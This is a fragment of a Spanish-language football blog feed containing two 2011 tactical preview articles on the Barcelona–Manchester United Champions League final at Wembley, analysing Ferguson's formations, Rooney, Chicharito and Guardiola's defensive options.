]]> https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-33.html/feed 97 La final de Wembley (2/3) https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-23.html?utm_source=rss&utm_medium=rss&utm_campaign=la-final-de-wembley-23 https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-23.html#comments Sat, 21 May 2011 14:22:00 +0000 https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-23.html  Llega la segunda parte del análisis del PARTIDO. Habrá una tercera y otro artículo más en relación con la final. El análisis es para no perderse detalle, el autor vuelve a ser Morén, de EUMD.

Como vimos en el anterior artículo previo a la final, Ferguson tiene un mayor abanico de opciones para sorprender al rival con su planteamiento, más que por mayor número de jugadores “hábiles” -que también- por su singular flexibilidad táctica, que le permite disponer distintos módulos tácticos sin que se resientan los automatismos del equipo. Esta capacidad de seguir siendo competitivos indiferentemente de la disposición sobre el campo, será algo muy valioso para los ingleses en la final, pues en teoría, su planteamiento deberá partir de la inferioridad respecto al F.C.Barcelona.

Por eso, por ejemplo, lo normal será ver a Park en banda izquierda para trabajar defensivamente sobre Dani Alves, y no a un Ryan Giggs que sería desbordado por el lateral brasileño o a un Rooney demasiado sacrificado en defensa para lo importante de su producción ofensiva si el United quiere tener opciones de éxito. Así pues, como han hecho todos los rivales que se han enfrentado al Barça, el volante izquierdo estará más pendiente de defender a Alves -un hombre clave en el juego del Barça tanto a la hora de dar amplitud al ataque como de generar superioridad numérica en el centro del campo- que de atacarle. 

Es cierto que Alves es un lateral que en sus subidas descuida su espalda, pero su aportación ofensiva es de tal magnitud que ningún entrenador puede permitirse liberarlo para fijar a su espalda al extremo. No obstante, los enfrentamientos contra el Madrid han abierto una posibilidad. En la final de Copa Ronaldo, desde la posición de 9, castigó la espalda de los laterales para abrir a los centrales y habilitar la segunda línea y eso penalizó notablemente al Barça durante la primera parte. En la ida de Champions, pues, Guardiola se vio obligado a anclar a Alves e impedirle sus habituales alegrías ofensivas con el objetivo de controlar estas situaciones. Sin embargo, sucedió entonces que Di Maria, obligado hasta entonces a defender, fue invitado a atacar, y como tanto Alves como Di Maria atacan mejor que defienden, fue el jugador merengue el que sacó ventajas del emparejamiento. En el día que más conservador se mostró Alves, más problemas generó el Madrid por su costado.

El United ya no tiene a Cristiano Ronaldo, pero si a Chicharito -Rooney no siente tanto este tipo de movimiento, siendo más indicado para aprovechar el espacio generado por la caída del central a banda, que para crearlo-. Como comentamos en el primer artículo, el mexicano es uno de los delanteros más inteligentes en sus movimientos, marcados siempre por una enorme velocidad y agresividad. Exige siempre, pues, una correcta lectura de la situación por parte del defensor que no solo debe leer el movimiento en sí, sino sus consecuencias posteriores. Por este motivo, la posible alineación de Mascherano como central puede ser un punto débil en el planteamiento de Guardiola. El argentino posee unos fundamentos defensivos tanto técnicos como tácticos espectaculares, siendo, por ejemplo, seguramente el mejor del mundo lanzándose al suelo; pero es mediocentro y no central. No siente la demarcación y sus peculiaridades, no piensa como un central. Por eso, ante un delantero que obliga a tanto trabajo intelectual para descifrar sus movimientos como Chicharito, el argentino puede tener problemas en una posición en la que hasta ahora ha rendido con nota.

La alternativa para Guardiola sería situar al lado de Piqué a Puyol, algo que en gran medida dependerá tanto del estado físico del capitán como del de Abidal. Ambos llegan con dudas sobre su estado, y ahí puede estar la incógnita del técnico. Lo ideal en estos casos con un jugador tocado es alinearlo de inicio. Imaginarse a un Puyol entrando en la segunda parte, recayendo de sus problemas en la rodilla y obligando al técnico a gastar un segundo cambio para dar entrada a Milito o Fontàs; o a un Abidal preparado para 60 minutos ante la perspectiva de una posible prórroga, deja a las claras los motivos. La peculiaridad de este caso es que son dos los hombres tocados y Guardiola sólo tiene un recambio de garantías, Mascherano. Cabe la posibilidad, pues, que opte por asegurarse los 90 minutos del argentino esperando rotar a los tocados en el lateral izquierdo. Exclusivamente desde el unto de vista futbolístico, lo ideal para el Barça es un Puyol+Abidal, pero la situación es especial.

La otra alternativa que tiene Guardiola es la de sacrificar a Busquets para adelantar a Mascherano, más después de que los focos estén sobre el canterano tras lo sucedido una vez finalizada la semifinal contra el Madrid. Es una posibilidad remota, pero que ganará opciones si Guardiola piensa que Ferguson optará por liberar a Rooney con la presencia de Chicharito en punta.

Porque, pese a las ventajas que el mexicano puede ofrecer a su equipo en la final -además de su             exacerbado olfato de gol- la presencia de Chicharito no es, ni mucho menos, segura. Ferguson ha asegurado en más de una ocasión que la clave de la derrota en la final de Roma fue la inferioridad en mediocampo. En 2009 el técnico escocés alineó una suerte de 1-4-2-3-1 con un doble pivote formado por Anderson y Carrick, y una línea de tres por delante con Park en banda derecha, Giggs como mediapunta y Rooney y Ronaldo alternando la banda izquierda y la punta de ataque. Así pues, y teniendo en cuenta que en aquella final el Barça no pudo contar con la carta Dani Alves por la ausencia por sanción del brasileño, hay una gran probabilidad de que el United salga con un 1-4-5-1 para contrarrestar el circuito que forman Busquets, Xavi, Iniesta, Messi y Alves. En tal caso, lo normal es que Chicharito fuese el sacrificado y que en su lugar entrara en el once un futbolista de trabajo en la medular como Anderson.

Es cierto que en ocasiones esta temporada Giggs ha ocupado también esta demarcación de interior, pero ante el ritmo de balón del Barça y el previsible escenario de posesión culé, es difícil que el galés, ahí, no sea más un problema que una solución para el United. Si Ferguson quiere dar cabida a Giggs, lo más lógico sería ubicarlo en la mediapunta de un 1-4-1-1 por detrás de Rooney, aunque eso implicaría perder el escenario ideal del crack inglés y la aportación de Chicharito. Otra vía, sorprendente pero que podría ser interesante, sería ubicarlo en banda derecha a pierna cambiada… pero a ello, junto a otras consideraciones sobre la final, nos dedicaremos en la tercera parte de la previa.
]]> https://www.rondoblaugrana.net/2011/05/la-final-de-wembley-23.html/feed 205 La pizarra de Sir Alex Ferguson https://www.rondoblaugrana.net/2011/05/la-pizarra-de-sir-alex-ferguson.html?utm_source=rss&utm_medium=rss&utm_campaign=la-pizarra-de-sir-alex-ferguson https://www.rondoblaugrana.net/2011/05/la-pizarra-de-sir-alex-ferguson.html#comments Wed, 18 May 2011 11:03:00 +0000 https://www.rondoblaugrana.net/2011/05/la-pizarra-de-sir-alex-ferguson.html Comienzan los 10 días más frenéticos de la temporada, los 10 días que no llevaran al partido más importante en Europa y parte del mundo, LA FINAL DE LA CHAMPIONS. Desde todos los medios nos bombardearan con informaciones, nosotros nos dedicaremos a analizar el partido y a los equipos, HABLAREMOS DE FUTBOL y empezamos con la colaboración de Morén, de Eumd.es (En un momento dado), web seria que lleva muchos años en la elite de esto. Os recomiendo que leáis también en su web los artículos Wembley: donde empezó todo (I y II).


El próximo día 28, F.C.Barcelona y Manchester United reeditarán la final de Roma en la que, con su victoria, el Barça de Guardiola coronó una temporada perfecta. Que se repita una final apenas dos temporadas después, puede ser catalogado como una curiosidad producto del azar, pero en este caso, nos habla de los dos conjuntos que han ejercido su dominio en Europa durante los últimos años. En las últimas seis ediciones de la Champions League, acumulan tres presencias en la final cada uno, y en semifinales, cinco el Barça por cuatro el United. Teniendo tan cerca el precedente de Roma, pues, a la hora de analizar la final podría existir la tentación de coger a aquel United como referencia, pero sería un error. Es cierto que, como el Barça, el United tiene el sello distintivo que le da la presencia de Ferguson en el banquillo, pero el funcionamiento colectivo del equipo de 2009 es distinto al del 2011. La razón principal, el cambio de jugador franquicia, del hombre que define el comportamiento del colectivo y al servicio del cual se ponen el resto de compañeros. Entonces ese hombre era el hoy madridista Cristiano Ronaldo, mientras que actualmente ese rol pertenece a Wayne Rooney. Dos jugadores distintos, y por lo tanto, distintos serán también los equipos que comandan.


En 2008, el United jugaba para Cristiano Ronaldo, para sacar el máximo rendimiento tanto individual como colectivo de su mejor jugador. El resto de jugadores, Rooney incluido, se ponían a su servicio -algo similar sucede en el Barça con Messi e Iniesta-. Algo habitual entonces como ver al inglés en una posición de banda persiguiendo al lateral rival hasta su propia línea defensivo, hoy por hoy parece impensable. Ahora Rooney es el jugador a potenciar, el que debe encontrar el contexto más favorable, y son el resto los que con este propósito, deben sacrificar aspectos de su juego. Es importante recalcar que no se trata de buscar el lucimiento individual de la estrella, sino que su aportación al juego colectivo pueda ser la máxima. Eso, trasladado al bando azulgrana, es el desplazamiento de Messi de la banda derecha a la posición de falso nueve.

Rooney es el jugador al que se agarra el United para solucionar problemas futbolísticos y rallar a un nivel colectivo superior. Por eso, en este United en el que a la progresiva decadencia de Scholes no ha acompañado la aparición de un nuevo cerebro capaz de mandar en el centro del campo, Rooney tiene un papel mucho más relacionado con la gestación de la jugada que la del típico delantero centro. Junto a él, el eterno Ryan Giggs, al que Ferguson ha reciclado de incisivo extremo a mediapunta creativo. En el United actual, pues, es habitual ver a Rooney aproximarse a la medular para recibir y dar sentido a la transición defensa-ataque del equipo. Para potenciar estas situaciones y ofrecer al jugador el contexto más favorable, Ferguson necesita generar espacios para el inglés, algo que consigue, por un lado, con la amplitud que por bandas ofrecen jugadores como Evra, Valencia o Nani, y por el otro, con la presencia de un nueve acompañando a Rooney para fijar la atención de la zaga rival y liberar al inglés.


El comportamiento de las bandas del United no es idéntico, pues mientras que en banda izquierda, ya sea Park, Giggs o Nani a pierna cambiada, tienen una tendencia más interior y menos vertical, en el perfil diestro, tanto Valencia como Nani adoptan una posición más fija, con singularidades dependiendo del encargado de ocuparla, pero que tiene cerca de la cal su radio de acción. Para acompañar a Rooney en punta y permitirle una mayor libertad al inglés para relacionarse con la zona de medios, Ferguson suele utilizar al mexicano Chicharito, quien le ha ganado la partida a Berbatov pese al buen inicio de campaña del búlgaro. Hablar de Chicharito es hablar de un delantero de área, un auténtico killer, uno de esos delanteros que no necesitan prácticamente nada para anotar un gol. Es significativo, en este sentido, reparar en las pocas ocasiones que necesita para marcar, o en la cantidad de goles anotados a placer, prácticamente a puerta vacía o tras un rechace. No es cuestión de suerte, sino de instinto. Y es que Chicharito es uno de los delanteros más inteligentes a la hora de moverse en el área. Sus movimientos siempre acostumbran a generar ventajas, y con sus agresivos desmarques, ya sea entrando al espacio en velocidad, como arrastrando a los defensas rivales, es vital para generar esos espacios de libertad para Rooney.
La alternativa de jugar con dos puntas, pues, ha sido una arma bastante utilizada por Ferguson esta temporada. No obstante, como es habitual en el técnico escocés, la flexibilidad en lo que a módulos tácticos se refiere de este United es enorme. Los Red Devils, pues, pueden usar indistintamente varios sistemas, siendo el 1-4-3-3 (y su variante defensiva del 1-4-5-1) o el 1-4-4-2 y sus variantes, los más recurrentes. Por delante de Van der Sar, la línea defensiva tiene tres hombres fijos como son Evra y la pareja de centrales Ferdinand-Vidic. En el lateral derecho, los gemelos Da Silva y O’Shea, más ofensivos los brasileños, más defensivo el irlandés, se disputan la última plaza.


En el centro del campo, pese a sus carencias en la posición y al bajo nivel que arrastra durante las últimas temporadas, el mediocentro es para Carrick, y junto a él el recuperado Fletcher, el gran ausente por el lado inglés de la final de Roma. Se trata de un jugador importante, pues a su trabajo suma la capacidad de corregir a Carrick cuando éste descuida su espalda. Por último, si el técnico opta por jugar con tres medios, la tercera plaza se la disputan Anderson, Park o Giggs.
El galés, además, protagoniza una de las variantes de Ferguson, pues en alguna ocasión el entrenador ha optado por plantear un centro del campo con cuatro hombres en rombo, en el cual Giggs ocupa el vértice superior. En las bandas, a los ya comentados Nani y Valencia por la derecha -con algunos partidos para Park-, se unen Giggs, Park o Nani a pierna cambiada en el perfil opuesto.


Mencionar, también, que en alguna ocasión ha sido Rooney quien ha ocupado una posición abierta, pero como hemos explicado a lo largo del post, esta temporada se trata de un recurso puntual, que se da sobretodo con Berbatov sobre el campo, cuando Ferguson decide jugar con un único hombre en punta. Lo habitual si junto a Rooney juega otro delantero, ya sea el búlgaro o Chicharito, es que el United plantee un 1-4-4-2 con dos puntas, en el que Rooney adopta un rol más liberado de segundo punta, dejando como referencia a su acompañante.

]]> https://www.rondoblaugrana.net/2011/05/la-pizarra-de-sir-alex-ferguson.html/feed 183